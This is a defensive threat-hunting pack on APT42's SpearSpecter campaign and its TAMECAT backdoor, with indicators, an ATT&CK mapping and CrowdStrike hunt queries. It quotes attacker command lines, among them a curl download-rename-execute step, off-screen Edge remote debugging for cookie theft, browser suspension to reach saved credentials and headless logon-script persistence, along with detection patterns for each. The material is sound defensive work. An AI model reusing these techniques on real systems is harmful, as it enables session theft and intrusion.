APT42 — SpearSpecter Campaign & the TAMECAT Backdoor
Executive Summary
What the attacker wants. APT42 (IRGC-Intelligence Organization; also tracked as Mint Sandstorm, Educated Manticore, CharmingCypress, and overlapping TA453) is not after mass compromise. It is after the contents of a small number of specific people's heads, mailboxes and browser sessions — senior defense and government officials, diplomats, and geopolitical experts, plus their family members as a softer route to the same circle. The SpearSpecter campaign, documented by Israel's National Digital Agency, spends days or weeks building a genuine-feeling relationship over personal email, corporate mail and WhatsApp before any malicious content appears. Conference invitations and meeting logistics are the pretext of choice.
What changed in 2026. Reporting on 2026-07-21 describes generative AI woven through the whole workflow: target research, persona and pretext development, multilingual lure generation, and malware engineering, debugging and exploit research. The practical consequence for defenders is that the classic phishing tells — awkward grammar, wrong register, cultural slips — are gone. Pretext plausibility is no longer a detection surface. Infrastructure, delivery mechanics and post-execution behaviour are.
The highest-value defensive angle. The delivery chain is fileless by design, but it is not signal-free. Between the click and a working TAMECAT implant, the chain fires an unusually distinctive sequence of Windows behaviours: a browser page invoking the search-ms URI handler, Explorer mounting an attacker WebDAV share via rundll32.exe davclnt.dll,DavSetCookie, a remote .lnk masquerading as a PDF launching cmd.exe, a curl download-rename-execute with --ssl-no-revoke, and PowerShell resolving Invoke-Expression through wildcard command lookup (gcm i*x). Each is individually rare in a healthy enterprise and none of them depend on knowing today's C2 domain. That behavioural chain is where this pack concentrates.
The second angle is identity, not the endpoint. TAMECAT's browser module launches Edge off-screen with --no-sandbox --remote-debugging-port=9222 and pulls decrypted cookies straight out of the DevTools protocol, and suspends Chrome with Sysinternals PsSuspend to unlock its credential databases. It also stages the Outlook .ost mailbox cache. The stolen material is sessions and tokens, which is why reporting is explicit that access survives a victim password reset. Any response that stops at "we reset the password" has not contained this actor.
Defender priority: hunt the delivery chain first (Q1–Q5), because it fires before collection begins and does not expire with the infrastructure. Then treat every confirmed hit as an identity incident, not a malware incident — revoke sessions and refresh tokens, invalidate cookies, and review OAuth grants and mailbox rules, because a password reset alone leaves the attacker's stolen session material working.
Source Review & Web Hunter Notes
Eleven sources were fetched and their full text saved as provenance snapshots alongside this pack. Every atomic indicator shipped below was traced back to at least one of those snapshots; nothing here is reconstructed from memory. Sources are ranked by evidentiary weight, not publication date.
| Tier | Source | Key finding | Carry forward |
|---|---|---|---|
| 1 · Gov | Israel National Digital Agency (INDA) — SpearSpecter, Nov 2025 | Primary advisory. Full TAMECAT module breakdown, WebDAV/search-ms delivery, Telegram and Discord C2 (first recorded for APT42), Renovation Run key and UserInitMprLogonScript persistence, AES-256-CBC with Sec-Host IV header, Cloudflare Workers C2 edge, and the campaign infrastructure set. | Yes — primary |
| 1 · Vendor | Google Cloud / Mandiant — Uncharmed: Untangling Iran's APT42 Operations | Independent tier-1 corroboration of the loader MD5s, the AES key and IV, the glitch.me C2 domain, and the misspell-then-repair command-line tradecraft. Establishes TAMECAT as a long-lived APT42 family rather than a one-off. | Yes — corroboration |
| 1 · Framework | MITRE ATT&CK — S1193 (TAMECAT), G1044 (APT42) | Canonical technique mapping for the implant. Confirms VBScript AV query, PowerShell/cmd execution, wget and curl ingress, Base64 encoding and AES-encrypted C2. | Yes — ATT&CK mapping |
| 2 · Vendor | Pulsedive Threat Research — TAMECAT analysis, 2026-01-29 | The deepest malware-analysis source. VBScript AV "health check" (conhost + PowerShell when the AV list contains "indows", otherwise cmd + curl), the nconf.txt loader hashes, the Gorba / Borjol / Borpos obfuscation routines, both AES keys, and the network IOC set. | Yes |
| 2 · Vendor | GBHackers — AI-assisted phishing and expanded TAMECAT, 2026-07-21 | The freshest reporting and the source of the generative-AI tradecraft claim and the April–May 2026 Netlify-hosted infrastructure set. Relays DarkAtlas research. | Partial — see caveat |
| 3 · Aggregator | SecurityOnline.info · CyberPress · GBHackers (browser-module piece) | Secondary write-ups of the Pulsedive and INDA work. Used only to confirm that hashes and the AES key are reported consistently across independent outlets. | Corroboration only |
| 3 · Vendor | SOC Prime — TAMECAT active-threat page, 2026-01-30 | Attack-flow and detection-content summary. Confirms the glitch.me exfil domain and the tebi.io staging URLs. | Corroboration only |
Analyst decisions and caveats
- Two-source rule applied to severity. Only indicators corroborated by two or more independent sources ship at
prevent/critical. That is the four loader and dropper hashes (Pulsedive plus Mandiant, GBHackers and CyberPress). Everything else ships atdetectorhunt. - The April–May 2026 infrastructure is single-source. The
Document.pdf.lnkSHA-256, the Netlify controllers,synctimenow[.]org,cloudfilenow[.]online,hsta[.]xyz,1thebstack1[.]xyzand107.189.25[.]18appear only in the GBHackers relay of DarkAtlas research. They are shipped, but atdetect/huntand explicitly flagged single-source. Do not promote them to a blocking rule without independent confirmation — the IP in particular is likely shared hosting. - One reporting discrepancy, resolved toward the primary. SecurityOnline states the browser module covers "Chrome, Edge, and Firefox". The INDA advisory and Mandiant describe only Edge (via DevTools remote debugging) and Chrome (via PsSuspend and Edge-as-reader). Firefox is treated as an aggregator embellishment and is not claimed in this pack; the CQL nonetheless projects browser process names broadly so a Firefox variant would still surface.
- Offensive content excluded by policy. The SOC Prime page carries a runnable attack-simulation script. It was read as analysis input only. Nothing in this pack reproduces it; all detection logic here is derived from reported behaviour, and all playbooks are defensive configuration.
- No source attempted to direct this analysis. Every fetched page read as ordinary threat-intelligence prose. No page contained instructions aimed at an automated reader, no page claimed prior authorisation, and no page redirected the IOC set elsewhere. No source was disqualified.
- Perishability. Infrastructure here spans Nov 2025 to May 2026 and is highly perishable — Cloudflare Workers, Netlify and Glitch subdomains are disposable by design. The behavioural queries (Q1–Q9, Q11) are the durable half of this pack; the atomic list (Q12) will decay within months.
Hunt Brief & Attack Chain
Attack chain — telemetry and hunt angle per step
| # | Step | Observable behaviour | Telemetry | Hunt angle |
|---|---|---|---|---|
| 1 | Relationship building | Weeks of benign contact over personal email, corporate mail and WhatsApp. AI-generated persona and pretext; no grammatical tells. | Mail gateway, user report | No endpoint signal. Executive-protection process and reporting culture only — recorded as a coverage gap. |
| 2 | Lure link | Link presented as a meeting or conference document; redirects through a benign OneDrive-hosted decoy. | Proxy / web logs, browser history | Newly registered look-alike domains; redirect chains ending on free PaaS hosts. |
| 3 | search-ms URI abuse | Crafted page invokes the Windows search-ms protocol handler; browser prompts the user to "Open Windows Explorer". | Registry (handler present), browser process spawning explorer.exe | Handler should not exist at all once hardened — see Playbook P1. |
| 4 | WebDAV share mount | rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie connects Explorer to the attacker's WebDAV host over SSL. | ProcessRollup2, NetworkConnectIP4 | Q1 — highest-fidelity early signal in the whole chain. |
| 5 | Remote LNK execution | A .lnk on the share, disguised as a PDF, runs a garbled command repaired at runtime (filler characters stripped) that launches cmd.exe. | ProcessRollup2 (parent explorer.exe) | Q2, Q3 — remote-path parent plus obfuscated command line. |
| 6 | curl download-rename-execute | curl --ssl-no-revoke -o vgh.txt <url> & rename vgh.txt temp.bat & %tmp% pulls the batch loader from a Cloudflare Workers subdomain. | ProcessRollup2, DnsRequest | Q2 — the --ssl-no-revoke flag is distinctive and recurs across stages. |
| 7 | VBScript AV health check | Alternate entry: a VBScript queries installed AV via WMI. If the product list contains "indows", it uses conhost plus PowerShell; otherwise cmd plus curl. | ProcessRollup2 (wscript/cscript parent), WMI | Q3, Q4 — script host spawning a shell, and headless conhost. |
| 8 | Fileless loader | Obfuscated PowerShell fetches modules over HTTPS and executes them in memory; Invoke-Expression is resolved through wildcard command lookup (gcm i*x, i*ee*, *ke-e*). | ProcessRollup2, PowerShell script-block logs | Q5 — the wildcard-resolution idiom is the durable signature. |
| 9 | Persistence | Per-user Run value Renovation launching everything in an Internet Explorer List folder; UserInitMprLogonScript running conhost --headless C:\Users\Public\Microsoft.bat; a systemUpdating RunOnce value in 2026 samples. Console DelegationConsole / DelegationTerminal values are set first so the loader inherits a predictable console host. | AsepValueUpdate, RegGenericValueUpdate | Q8, Q9. |
| 10 | Discovery | Information, Application, Processes and Shell modules fingerprint OS, installed software, running processes and installed AV/EDR. | ProcessRollup2, WMI | Partial — blends with admin activity. Correlate to a Q1–Q5 hit rather than hunting standalone. |
| 11 | Browser credential theft | Edge launched off-screen with --no-sandbox --remote-debugging-port=9222 --window-position=-32000,-32000; cookies pulled decrypted via the DevTools Storage.getCookies method. Chrome suspended with PsSuspend so its Login Data, Cookies and Web Data files can be read. | ProcessRollup2, NetworkListenIP4 | Q6, Q7 — both very high fidelity. |
| 12 | Collection & staging | FileCrawler enumerates drives into ALL.txt / FileCrawler.txt queues under %LOCALAPPDATA%\Caches; Outlook .ost copied; 50 screenshots at 15-second intervals; archives built with a renamed WinRAR (R.exe). | ProcessRollup2, file-write events | Q11. |
| 13 | Exfiltration | 5 MB chunks via a Runs.dll .NET helper, AES-256-CBC encrypted with the IV carried in a Sec-Host (HTTPS) or Content-DPR header, shipped over HTTPS, Discord webhook, Telegram bot or FTP. | NetworkConnectIP4, DnsRequest, proxy | Q10 plus proxy header inspection — see Native Hunts. |
| 14 | Sustained access | Stolen cookies and tokens replayed against cloud mail and VPN. Access survives victim password resets. | Entra ID / IdP sign-in logs, M365 audit | Identity-side hunts — see Native Hunts and the Containment Runbook. |
Hunt hypotheses, ordered by fidelity
| # | Hypothesis | MITRE | Falcon events | Expected FP sources | Conf |
|---|---|---|---|---|---|
| H1 | A host mounted an external WebDAV share through rundll32 davclnt.dll,DavSetCookie after a browser prompt. | T1566.002, T1204.001 | ProcessRollup2 | Sanctioned SharePoint / WebDAV drive mapping | HIGH |
| H2 | conhost.exe was used with --headless to run a script with no visible window. | T1564.003 | ProcessRollup2 | Effectively none in normal use | HIGH |
| H3 | A browser was launched with remote debugging enabled and the sandbox disabled, off-screen. | T1539, T1185 | ProcessRollup2, NetworkListenIP4 | Developer and QA automation workstations | HIGH |
| H4 | PowerShell resolved a cmdlet through wildcard command lookup to hide Invoke-Expression. | T1027, T1059.001 | ProcessRollup2 | Rare; some tooling uses gcm with wildcards interactively | HIGH |
| H5 | A curl invocation used --ssl-no-revoke, typically alongside a rename-then-execute sequence. | T1105, T1059.003 | ProcessRollup2 | A few installers and CI agents | HIGH |
| H6 | A per-user autostart value named Renovation, UserInitMprLogonScript or systemUpdating was written. | T1547.001, T1037.001 | AsepValueUpdate, RegGenericValueUpdate | Legacy logon-script deployments | HIGH |
| H7 | A VBScript host spawned PowerShell, cmd, conhost or curl shortly after user execution of a document-shaped file. | T1059.005, T1518.001 | ProcessRollup2 | Legacy VBS admin and logon scripts, vendor installers | MEDIUM |
| H8 | A Sysinternals-style process-suspension utility was run with -accepteula -nobanner against a browser. | T1555.003, T1562.001 | ProcessRollup2 | Genuine admin and support use of Sysinternals | MEDIUM |
| H9 | A script interpreter resolved or connected to a free PaaS / serverless host used for staging or C2. | T1071.001, T1102.002 | DnsRequest | Sanctioned use of Cloudflare Workers, Netlify, Glitch, Telegram, Discord | MEDIUM |
| H10 | Collection artefacts appeared under %LOCALAPPDATA%\Caches, or an Outlook .ost was copied out of its profile directory. | T1114.001, T1074.001 | ProcessRollup2 | Backup, migration and eDiscovery tooling | MEDIUM |
| H11 | A known TAMECAT loader or dropper hash executed or was written to disk. | T1204.002 | ProcessRollup2, PeFileWritten | None — exact-match atomic | HIGH |
Consolidated IOC Table
All values below appear verbatim in a saved source snapshot. Indicators are defanged for safe display. Expiry follows the pack convention: prevent/detect plus six months, hunt plus three months.
File hashes
| Type | Value | Conf | Action | Context | Sources |
|---|---|---|---|---|---|
| SHA-256 | bd1f0fb085c486e97d82b6e8acb3977497c59c3ac79f973f96c395e7f0ca97f8 | high | prevent | TAMECAT PowerShell loader nconf.txt, staged on tebi.io object storage | 3 independent |
| SHA-256 | 5404e39f2f175a0fc993513ee52be3679a64c69c79e32caa656fbb7645965422 | high | prevent | VBScript dropper performing the AV "health check" before fetching stage two | 3 independent |
| MD5 | 081419a484bbf99f278ce636d445b9d8 | high | prevent | Same nconf.txt loader; MD5 published independently by Mandiant | 3 independent |
| MD5 | d7bf138d1aa2b70d6204a2f3c3bc72a7 | high | prevent | VBScript dropper (a2.vbs in Mandiant reporting) | 2 independent |
| SHA-1 | 0ef4f7a8d7b1d34e10faa0bca1dcb76a518dd417 | high | detect | nconf.txt loader, SHA-1 | 2 |
| SHA-1 | 3fd06c930ddc4b1914151f69454c087a42413a24 | medium | detect | VBScript dropper, SHA-1 — single-source | 1 |
| SHA-256 | 783a55c215ff18ea618f5a63936e08044448901096ee4de2d23fcda740abe104 | medium | detect | Document.pdf.lnk, late-April 2026 chain — single-source, do not promote to prevent without corroboration | 1 |
| MD5 | dd2653a2543fa44eaeeff3ca82fe3513 | medium | hunt | Historical June 2023 TAMECAT sample; useful for retro-hunting family lineage | 1 (tier-1) |
Network infrastructure — SpearSpecter, Nov 2025 (INDA)
| Type | Value | Conf | Action | Context |
|---|---|---|---|---|
| domain | accurate-sprout-porpoise[.]glitch[.]me | high | detect | TAMECAT HTTPS C2 and exfiltration endpoint. Corroborated by Mandiant, Pulsedive, SOC Prime and two aggregators. |
| url | hxxps[://]s3[.]tebi[.]io/icestorage/config/nconf[.]txt | high | detect | Loader staging URL. Block the full path, not the tebi.io apex — it is legitimate S3-compatible storage. |
| url | hxxps[://]s3[.]tebi[.]io/icestorage/df32s[.]txt | high | detect | Second-stage Base64 payload URL. |
| domain | datadrift[.]somee[.]com | high | detect | WebDAV host serving the disguised .lnk; free shared hosting. |
| domain | filenest[.]info | high | detect | Stage-one randomised-path redirector. Registered 2025-08-17 alongside the next entry. |
| domain | cloudcaravan[.]info | high | detect | search-ms handler abuse page. Paired registration, same timestamp. |
| domain | line[.]completely[.]workers[.]dev | high | detect | Cloudflare Workers host serving the temp.bat loader and follow-on modules. |
| domain | zx3nkaavlai[.]map[.]azionedge[.]net | high | detect | Runtime-injected HTTPS C2 endpoint ($global:C2Endpoint). |
Telegram command keywords and their Cloudflare Workers module hosts (INDA)
| Keyword | Domain | Action |
|---|---|---|
Invest | eaggcz2fj7yzqdzx97i96[.]darijo-bosanac-dl[.]workers[.]dev | detect |
Scene | f3nq6re4nmjwbr8ks5g2qu[.]darijo-bosanac-dl[.]workers[.]dev | detect |
Look | kxp5sxfwiu7b6quo346hhyc[.]darijo-bosanac-dl[.]workers[.]dev | detect |
Cnvrt | 2tv995jjg6cx679bspy[.]darijo-bosanac-dl[.]workers[.]dev | detect |
Trsdls | mvwmh7pxxd33375gj9wwjhcmbk[.]darijo-bosanac-dl[.]workers[.]dev | detect |
Anchor | 27ehoddkc8t7jer4aic55uh3[.]darijo-bosanac-dl[.]workers[.]dev | detect |
Trnspt | w5fb5r3txrsvga7zot9uz54k[.]darijo-bosanac-dl[.]workers[.]dev | detect |
#Journey | — sets the decryption key rather than fetching a module | hunt |
Network infrastructure — April to May 2026 chain
Single-source. Everything in this block comes from one 2026-07-21 report relaying DarkAtlas research. Ship as detect or hunt, review before any blocking rule, and treat the IP as probable shared hosting.
| Type | Value | Conf | Action | Context |
|---|---|---|---|---|
| domain | synctimenow[.]org | medium | detect | LNK staging on port 8050; also observed as a seed-generated fallback domain. |
| domain | cloudfilenow[.]online | medium | detect | LNK staging host, port 8050. |
| ipv4 | 107.189.25[.]18 | medium | hunt | IP-based LNK staging, port 8050. Hunt only — likely shared infrastructure. |
| domain | personal-store[.]netlify[.]app | medium | detect | Confirmed LNK delivery endpoint (path /yo3u), seen in public scans 16–27 May 2026. |
| domain | projects-shared[.]netlify[.]app | medium | detect | TAMECAT controller and PowerShell module-delivery host. |
| domain | hsta[.]xyz | medium | detect | Workbook staging. |
| domain | 1thebstack1[.]xyz | medium | detect | Controller endpoint (/Api/Session). |
Non-network indicators (behavioural — do not import as atomic IOCs)
| Artefact | Value | Context |
|---|---|---|
| AES-256 key | kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B (IV 0T9r1y1M2e0N0o1w) | Hardcoded loader key. Confirmed by both Pulsedive and Mandiant. |
| AES key value | T2r0y1M1e1n1o0w1 | Family-lineage marker. Mandiant notes it also appeared in a June 2023 sample and matches a Volexity POWERSTAR YARA rule; present but unused in the analysed script. |
| AES key (runtime) | g9944pf33sbuuuspi3z2er6rqh9ermxk | Injected into $global:EncryptionKey by the first module in the INDA sample. |
| HTTP headers | Sec-Host, Content-DPR | Carry the per-request 16-character AES IV. Excellent proxy-side signature — neither is a normal request header. |
| Obfuscation routines | Gorba, Borjol, Borjoly, Borpos | Custom decode/AES function names inside the loader; strong YARA anchors. |
| Filenames | nconf.txt, df32s.txt, temp.bat, vgh.txt, v.bat, Microsoft.bat, R.exe, Runs.dll, ALL.txt, FileCrawler.txt, PersistenceMonitor.txt, UZ4sWF2aV.txt, fhgPczTORoCNEDsm.txt, config.txt | Staging and module artefacts. Names such as fhgPczTORoCNEDsm.txt are randomised per run — hunt the directory and the pattern, not the literal name. |
| Registry markers | HKCU\SOFTWARE\firstOrder\id, HKCU\SOFTWARE\MSCore\config, HKCU\Console\%Startup% (DelegationConsole / DelegationTerminal) | Discord message bookmark, victim identifier, and console-host pinning respectively. |
| Session tokens | bgeuYESS, bgeu, boJ-tratS, systemUpdating | 2026-chain LNK POST value, batch session key, a reversed string in the Normal module, and a RunOnce value name. |
Affected Surface & Telemetry Matrix
| Surface | What is exposed | Required telemetry | Priority | Gap risk if missing |
|---|---|---|---|---|
| Windows endpoint (user context) | Whole chain: LNK execution, WebDAV mount, curl staging, in-memory PowerShell, persistence, collection. | Falcon ProcessRollup2 / SyntheticProcessRollup2 with full command lines | CRITICAL | Total. Command-line truncation alone blinds Q1, Q2, Q5, Q6 and Q11. |
| PowerShell execution | Module content that never touches disk; wildcard Invoke-Expression; AES routines. | Script Block Logging (4104), Module Logging, AMSI, transcription | CRITICAL | High. Process command lines catch the launcher; only script-block logs catch the module bodies. |
| Windows registry (HKCU) | Run value Renovation, UserInitMprLogonScript, RunOnce systemUpdating, firstOrder, MSCore, console delegation. | AsepValueUpdate, RegGenericValueUpdate | HIGH | Persistence becomes invisible; reinfection at every logon. |
| Browsers (Edge, Chrome) | Decrypted cookies via DevTools; Login Data, Cookies and Web Data via PsSuspend. This is the identity-theft surface. | ProcessRollup2 command lines, NetworkListenIP4 on 9222 | CRITICAL | Session theft proceeds silently and survives password resets. |
| Outlook / M365 mailbox | Local .ost cache copied and chunk-exfiltrated; cloud mailbox reachable with replayed tokens. | Endpoint file/process telemetry plus M365 Unified Audit Log | HIGH | Mailbox exfiltration attributed to the user, not the actor. |
| Identity / IdP (Entra ID or equivalent) | Cookie and refresh-token replay into cloud mail and VPN. | Sign-in logs, risk detections, CAE, token-issuance audit | CRITICAL | The actor retains access indefinitely after the endpoint is cleaned. |
| Network egress / proxy | C2 over Cloudflare Workers, Netlify, Glitch, Firebase, Telegram, Discord, WebDAV and FTP. Custom Sec-Host / Content-DPR headers. | DnsRequest, NetworkConnectIP4, proxy logs with header capture | HIGH | Exfiltration volume and cadence unmeasurable; header signature unusable. |
| Mail gateway (corporate) | Only the earliest, most benign contact. AI-generated lures carry no linguistic tells. | Message tracking, URL detonation, newly-observed-domain scoring | MEDIUM | Moderate — the actor deliberately pivots to personal mail and WhatsApp. |
| Personal email / WhatsApp | The actual relationship-building channel and the point of highest leverage. | None available to the enterprise | HIGH | Unmonitorable. Recorded as a permanent coverage gap; mitigated only by executive-protection process and user reporting. |
ATT&CK Mapping
| Tactic | Technique | Observed behaviour | Query or control |
|---|---|---|---|
| Reconnaissance | T1589 / T1593 — Gather Victim Identity Info; Search Open Websites | Social media, public databases and professional networks mined to build the persona; increasingly AI-assisted. | Hardening H10 (executive protection) |
| Resource Development | T1583.001 / T1583.006 — Acquire Domains; Web Services | Paired look-alike domains registered on the same timestamp; Cloudflare Workers, Netlify, Glitch, Somee, Scalingo and Firebase abused as disposable infrastructure. | Q10, Hardening H8 |
| Resource Development | T1588.007 — Artificial Intelligence | Generative AI used for target research, persona and pretext development, multilingual lure generation, malware engineering, debugging and exploit research. | Hardening H10 — no technical detection |
| Initial Access | T1566.002 / T1566.003 — Spearphishing Link; via Service | Conference and meeting lures over corporate mail, personal mail and WhatsApp, after weeks of rapport building. | Native hunts, Hardening H10 |
| Execution | T1204.001 / T1204.002 — User Execution: Link; Malicious File | User approves the Explorer prompt, then opens a remote .lnk disguised as a PDF. | Q1, Q2 |
| Execution | T1059.001 / .003 / .005 — PowerShell; Windows Command Shell; Visual Basic | VBScript dropper, cmd.exe repair-and-run, and the whole in-memory PowerShell framework. | Q2, Q3, Q5 |
| Execution | T1047 — Windows Management Instrumentation | WMI query enumerates installed antivirus products to pick the download path. | Q3 |
| Persistence | T1547.001 — Registry Run Keys / Startup Folder | Renovation Run value launching every file in an IE List folder; systemUpdating RunOnce in 2026 samples. | Q8 |
| Persistence | T1037.001 — Logon Script (Windows) | UserInitMprLogonScript set to conhost --headless C:\Users\Public\Microsoft.bat. | Q8, Q4 |
| Defense Evasion | T1027 / T1027.013 — Obfuscated Files or Information; Encrypted/Encoded | Payloads split into dozens of Base64 shards, reassembled and AES-decrypted at runtime; misspell-then-repair command lines. | Q5 |
| Defense Evasion | T1140 — Deobfuscate/Decode Files or Information | Bitwise-NOT plus Base64 plus AES-256-CBC chain inside Gorba / Borjol. | Q5, YARA anchors |
| Defense Evasion | T1620 — Reflective Code Loading | Modules compiled with [Scriptblock]::Create() and executed entirely in memory. | PowerShell 4104 (Native Hunts) |
| Defense Evasion | T1218.011 — System Binary Proxy Execution: Rundll32 | rundll32.exe davclnt.dll,DavSetCookie to reach the WebDAV share. | Q1 |
| Defense Evasion | T1564.003 — Hidden Window | conhost --headless; powershell -w 1; browser at --window-position=-32000,-32000. | Q4, Q6 |
| Defense Evasion | T1562.001 — Impair Defenses | Chrome suspended with PsSuspend to release file locks; browser sandbox disabled with --no-sandbox. | Q6, Q7 |
| Discovery | T1518.001 / T1082 / T1057 — Security Software; System Information; Process Discovery | Information, Application, Processes and Shell modules; explicit AV/EDR enumeration. | Q3, correlate to Q1–Q5 |
| Discovery | T1217 — Browser Information Discovery | DevTools target enumeration at http://localhost:9222/json. | Q6 |
| Credential Access | T1555.003 — Credentials from Web Browsers | Chrome Login Data, Cookies and Web Data read after suspension; parsed with System.Data.SQLite. | Q7 |
| Credential Access | T1539 — Steal Web Session Cookie | DevTools Storage.getCookies returns cookies already decrypted by the browser. | Q6 |
| Collection | T1005 / T1074.001 — Data from Local System; Local Data Staging | FileCrawler builds Base64 path queues in ALL.txt under %LOCALAPPDATA%\Caches. | Q11 |
| Collection | T1114.001 — Local Email Collection | Outlook .ost copied out of the profile directory and chunked. | Q11 |
| Collection | T1113 — Screen Capture | 50 screenshots at 15-second intervals, uploaded then deleted immediately. | Partial — coverage gap |
| Collection | T1560.001 — Archive via Utility | Renamed WinRAR binary R.exe builds archives such as Data_Chrome__Default.rar. | Q11 |
| Command and Control | T1071.001 — Web Protocols | HTTPS to Cloudflare Workers, Glitch, Netlify and Azion edge hosts. | Q10, Q12 |
| Command and Control | T1102.002 — Bidirectional Communication | Telegram bot getUpdates polling and a Discord channel plus webhook. First recorded APT42 use of both. | Q10, proxy controls |
| Command and Control | T1573.001 / T1132.001 — Symmetric Cryptography; Standard Encoding | AES-256-CBC with per-request IV in Sec-Host or Content-DPR; Base64 ciphertext. | Proxy header inspection |
| Command and Control | T1105 — Ingress Tool Transfer | curl and wget pull each successive stage. | Q2 |
| Exfiltration | T1041 / T1048.003 — Over C2 Channel; Over Unencrypted Non-C2 Protocol | 5 MB chunked uploads with resume-from-offset; FTP via System.Net.FtpWebRequest as an alternate transport. | Q10, egress controls |
Native Audit-Log Hunts
Checks that do not need Falcon. Run these alongside the CQL section — several cover ground the endpoint sensor cannot reach, particularly the identity half of this campaign.
Windows event logs
| Log / Event ID | What to look for | Why it matters |
|---|---|---|
| PowerShell Operational 4104 | Script blocks containing Borjol, Borpos, Gorba, Sec-Host, Content-DPR, Storage.getCookies, reader2.reader, or long Base64 arrays reassembled in a loop. | The only place the in-memory module bodies are ever visible. Enable this first if it is off. |
| PowerShell 4103 (module logging) | Get-Command invocations with wildcard arguments; Invoke-Expression resolved indirectly. | Catches the obfuscation idiom even when the command line is short. |
| Security 4688 | rundll32.exe with davclnt.dll,DavSetCookie; conhost.exe --headless; msedge.exe with --remote-debugging-port. | Independent confirmation path if EDR command lines are truncated. Requires command-line auditing to be enabled. |
| Security 4657 / Sysmon 13 | Writes to HKCU\Software\Microsoft\Windows\CurrentVersion\Run value Renovation; Environment\UserInitMprLogonScript; Console\%Startup%\DelegationConsole. | Persistence confirmation and cleanup checklist. |
| Sysmon 1 / 11 / 22 | Process creation with the above command lines; file creation under %LOCALAPPDATA%\Caches; DNS queries to the infrastructure in Section 4. | INDA explicitly recommends Sysmon plus SIEM forwarding for this campaign because the payloads are fileless. |
| WebClient service (System log) | The WebClient service starting on a host that has no business using WebDAV. | Precondition for the DavSetCookie step. On most enterprise fleets the service should never start. |
| Application (Windows Error Reporting) | Crashes in msedge.exe launched with --no-sandbox. | Occasional residue when the off-screen browser instance is killed mid-collection. |
Identity, mail and network
| Source | Check | Why it matters |
|---|---|---|
| Entra ID sign-in logs | Successful sign-ins for targeted users where the session originated from a token issued on a different device, ASN or country; "unfamiliar sign-in properties" and "anomalous token" risk detections; sign-ins that continue after a password reset. | This is the signature of cookie and refresh-token replay. It is the single most important identity check in this pack. |
| Entra ID audit logs | New OAuth consent grants, new app registrations, added authentication methods, or device registrations for the targeted accounts. | Common follow-on to session theft to establish access that survives credential rotation. |
| M365 Unified Audit Log | MailItemsAccessed spikes, new inbox rules that forward or delete, New-InboxRule, and mailbox delegation changes for senior officials. | Confirms whether the cloud mailbox was reached, independent of the local .ost theft. |
| Mail gateway | Inbound mail to executives from newly registered domains; look-alike sender domains substituting characters in known organisation names; conference and meeting-invitation subjects from first-time senders. | The earliest technical touchpoint of a chain that otherwise starts outside your visibility. |
| Proxy / TLS inspection | Requests carrying a Sec-Host or Content-DPR request header. Neither is a standard browser request header, and both carry the AES IV. | INDA calls this out specifically. It is the highest-fidelity network signature available and it is infrastructure-independent. |
| Proxy / DNS | Non-browser processes resolving or connecting to workers.dev, netlify.app, glitch.me, firebaseio.com, somee.com, azionedge.net, Telegram or Discord API endpoints. Also outbound FTP from user workstations. | The C2 platforms are all legitimate; the anomaly is the process making the request, not the destination. |
| Firewall / NetFlow | Repeated outbound sessions on port 8050; sustained uploads in roughly 5 MB increments. | Matches the 2026 staging port and the documented chunk size. |
CrowdStrike LogScale CQL Hunt Queries
No in-query time filter is set. Choose the window in the Falcon search console — start at 30 days for the delivery-chain queries (Q1–Q5) and 7 days for the noisier ones. Queries are ordered by fidelity: run Q1 through Q5 first.
Looks for: Explorer reaching an attacker WebDAV share through the signed davclnt.dll helper — the step immediately after the victim approves the browser's "Open Windows Explorer" prompt. This fires before any payload lands and does not depend on knowing the current C2. FP: organisations that genuinely map SharePoint or WebDAV drives will see this routinely; exclude your sanctioned DAV hosts by command line before deploying.
// HUNT: WebDAV initial access -- rundll32.exe davclnt.dll,DavSetCookie to a remote share // MITRE: T1218.011 | T1566.002 | T1204.001 | CONF: high FP: medium COST: low // REQUIRES: ProcessRollup2 with full CommandLine capture // FALSE POSITIVES: sanctioned SharePoint / WebDAV drive mapping; Explorer access to internal DAV shares // TUNING: append an exclusion for your own DAV hosts, e.g. // | CommandLine!=/sharepoint\.com|dav\.internal-host\.example\.com/i // If WebDAV is not used at all, the WebClient service should be disabled (Playbook P2) and any hit is actionable. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^rundll32(\.exe)?$/i | CommandLine=/davclnt\.dll/i | CommandLine=/DavSetCookie/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=200)
Looks for: the --ssl-no-revoke flag, which appears in the LNK-driven cmd /c curl stage, in the Firebase beacon, and in the misspell-then-repair variant. Certificate-revocation checking is disabled because the actor's disposable TLS endpoints do not survive it. Very few legitimate command lines carry this flag.
// HUNT: curl with --ssl-no-revoke -- TAMECAT loader fetch and Firebase beacon // MITRE: T1105 | T1059.003 | T1204.002 | CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 with full CommandLine capture // FALSE POSITIVES: rare -- a few installers and CI agents disable revocation checking // NOTE: review ParentBaseFileName. explorer.exe as the parent means a remote .lnk was opened. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(cmd|curl|conhost)(\.exe)?$/i | CommandLine=/--ssl-no-revoke/i | table([@timestamp, ComputerName, UserName, GrandparentBaseFileName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=200)
Looks for: the alternate entry path, where a VBScript queries installed antivirus over WMI and then branches — conhost plus PowerShell when the product list contains "indows", otherwise cmd plus curl. Either branch shows up as a script host spawning a shell. FP: legacy VBS logon and admin scripts do this legitimately; baseline your own script estate and exclude signed installer paths first.
// HUNT: wscript/cscript spawning PowerShell, cmd, conhost or curl (TAMECAT VBScript dropper) // MITRE: T1059.005 | T1518.001 | T1047 | CONF: medium FP: medium COST: low // REQUIRES: ProcessRollup2 with parent and grandparent process names // FALSE POSITIVES: legacy VBScript logon/admin scripts and vendor installers routinely spawn shells // TUNING: exclude your managed script paths and signed installers, e.g. // | ImageFileName!=/\\Program Files|\\Windows\\CCM\\|\\SysWOW64\\CCM\\/i // then rank the remainder by GrandparentBaseFileName -- explorer.exe or a browser is the interesting case. #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^(wscript|cscript)\.exe$/i | FileName=/^(powershell|pwsh|cmd|conhost|curl)(\.exe)?$/i | table([@timestamp, ComputerName, UserName, GrandparentBaseFileName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc, limit=300)
